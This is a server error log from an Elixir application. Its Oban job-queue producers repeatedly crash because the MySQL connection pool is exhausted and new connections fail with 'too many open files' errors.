    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:16:10.238990Z], limit: 50, uuid: "54797d19-68d6-492e-b501-a8dea7dca41d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:16:10.238995Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.1498>, refresh_timer: #Reference<0.2525715032.1121189889.112801>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:16:22.478000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2036ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:16:10.238836Z], limit: 5, uuid: "49953d5c-8051-4560-9c2e-cdd8e72750c5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:16:10.238843Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.245217>, refresh_timer: #Reference<0.2525715032.1121189889.112794>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:16:22.532000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:16:23.493000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:16:23.771000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1633.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 23:16:27.025000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:16:28.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2041ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:16:16.237426Z], limit: 10, uuid: "a152ca04-7a99-41ef-92c9-540e2bbc3caf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:16:16.237433Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.245381>, refresh_timer: #Reference<0.2525715032.1077411843.245364>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:16:32.724000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:16:33.517000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:16:33.651000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:16:34.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1880ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:16:22.483133Z], limit: 50, uuid: "2bbb127d-9a31-419b-8137-d2162125e212", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:16:22.483138Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.13587>, refresh_timer: #Reference<0.2525715032.1068498948.1598>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:16:34.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2031ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:16:22.483089Z], limit: 3, uuid: "c727a24b-dec3-4365-b07e-389bbb8edd17", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:16:22.483095Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.13586>, refresh_timer: #Reference<0.2525715032.1099431938.13563>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:16:34.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1829ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:16:22.483280Z], limit: 20, uuid: "7efdd888-4cc7-4ca1-aa10-f1923209b8f6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:16:22.483285Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.13585>, refresh_timer: #Reference<0.2525715032.1099431938.13571>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:16:34.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1848ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:16:22.482867Z], limit: 5, uuid: "fcfb81b8-8b45-4ae2-abf8-73f02fae5794", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:16:22.482876Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.1586>, refresh_timer: #Reference<0.2525715032.1068498948.1585>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:16:34.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1824ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:16:22.488745Z], limit: 5, uuid: "5ba87454-bfcb-4317-9f9e-9396981258cd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:16:22.488751Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.1625>, refresh_timer: #Reference<0.2525715032.1068498948.1615>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:16:35.817000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:16:38.304000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:16:40.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1852ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:16:28.237613Z], limit: 10, uuid: "6e38a668-73f2-46e4-bd1d-0c567eda3bd2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:16:28.237620Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.13731>, refresh_timer: #Reference<0.2525715032.1068498948.1678>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:16:43.732000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
